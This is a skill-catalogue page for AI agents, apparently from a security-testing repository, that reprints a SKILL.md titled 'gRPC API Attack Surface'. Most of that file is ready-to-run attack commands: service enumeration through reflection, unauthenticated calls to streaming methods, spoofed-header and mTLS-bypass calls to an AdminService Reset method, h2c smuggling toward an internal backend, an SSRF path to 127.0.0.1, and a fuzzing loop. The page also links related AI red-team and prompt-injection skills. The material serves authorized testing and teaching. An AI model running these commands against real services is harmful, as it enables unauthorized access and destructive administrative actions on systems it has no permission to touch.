api-grpc
What it does
This guide covers security checks for gRPC APIs, which use a binary format over HTTP/2. It is for security testers reviewing internal and external services that use gRPC.
When to use it
- βWhen an authorized review finds a service that speaks gRPC and needs its methods checked.
- βWhen you want to check whether server reflection exposes more methods than intended.
- βWhen a streaming method may not apply the same access rules as ordinary calls.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWe have a gRPC service in production. Can you check whether its streaming methods enforce the same access rules as the others?β
5 new skills a week. 1 minute to read.
How it works
The agent identifies the gRPC service, lists the methods it exposes, and checks whether each one enforces authorization in the same way.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
gRPC API Attack Surface
Discovery
# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'
# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
# 3. If reflection disabled, grab .proto from:
# - Sourcemap of a gRPC-Web client app
# - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
# - Mobile app (apktool + jadx β search for FileDescriptorProto)
Attack patterns
Missing authz on streaming RPCs
Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:
grpcurl -plaintext -H "authorization: bearer" target:50051 \
mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check
Protobuf field-number reuse / unknown-field exfil
Send a request with extra protobuf fields (numbers not in the .proto) β older servers echo them back or expose internal state via UnknownField handling.
echo '{"id": 1, "1000000": "hidden field"}' | \
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get
Metadata header injection
gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
-H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset
h2c smuggling β gRPC fronted by Envoy/nginx
HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:
# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051
mTLS bypass via SNI mismatch
If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:
# Connect with cert for `legit.com` but Host header `admin-internal`
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \
-authority admin-internal target:443 mypackage.AdminService/Reset
gRPC-Web β backend SSRF
gRPC-Web translates browser HTTP β backend gRPC. Sometimes the translator allows arbitrary upstream:
# If the Envoy filter is misconfigured:
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset
Fuzz strategy
# 1. Pull all the proto definitions
grpcurl -plaintext target:50051 describe -msg-template > schema.txt
# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem
mayhem run grpcfuzzer -t target:50051 -s schema.txt
# 3. Or manual: enumerate Method/{empty,minimal,max,min,negative,oversized}
for m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do
echo "=== $m ==="
grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5
done
OPSEC
- gRPC error responses leak internal types (stack traces in
google.rpc.Status.details). Even hardened servers leak via timing on encrypted channels. - HTTP/2 connection re-use makes per-request rate limiting brittle β flood detection often misses.
References
- "Attacking gRPC" β NCC Group whitepaper
- grpcurl manual β github.com/fullstorydev/grpcurl
- protoc-gen-grpc-web β gRPC-Web spec
- DEFCON 30 "Cloud Native Track" β gRPC attack patterns
FAQ
What is server reflection?
It is a feature that lists a gRPC service's methods, and the guide notes it is sometimes left on in production.
Why are streaming methods a concern?
The guide says some implementations check access on simple calls but skip it for streaming ones.
Does the guide cover other transports?
Yes. It also covers gRPC-Web and related front-end gateways.
Details
Original description by the author
gRPC API exploitation β reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web β backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14024
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.